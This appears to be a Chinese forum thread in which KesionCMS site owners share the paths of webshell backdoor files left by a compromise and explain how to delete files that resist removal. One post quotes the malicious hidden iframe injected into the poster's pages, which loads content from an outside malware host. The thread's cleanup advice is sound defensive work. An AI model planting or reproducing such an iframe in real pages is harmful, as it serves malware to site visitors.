被挂马的注意，后门位置

1.先看 模板目录下有没有 rss.asp的 木马（我的站有）

2.后门3个位置

    1.和数据库同路径下有没有asp文件（删掉）

    2.KS_Cls\inedx.asp  （后门，删不掉）

    3.KS_Editor\fckeditor\editor\dialog\fck_spellerpages\spellerpages\server-scripts\inedx.asp（后门，删不掉）

删不掉的解决办法，重命名KS_Cls和KS_Editor，然后从 虚拟主机后台强制删除，重新在上传KS_Cls和KS_Editor。

我比较惨是 模板目录被挂马。。。。

我的这些位置都找了  还是没有！

我的好多页面上有！<iframe src=http://11ddv.2288.org/fkzd/19.htm width=111 height=0 border=0></iframe>  这个挂马地址！找不到在哪生成的！

谁能指点下

估计你还有其它。。我就发现有images/emot/con.asp；template/rss.asp

补充一个 后门位置   /Product/inedx.asp

删不掉的要用CMD命令来删。。。

http://bbs.kesion.com/dispbbs.asp?boardid=44&Id=93399&page=4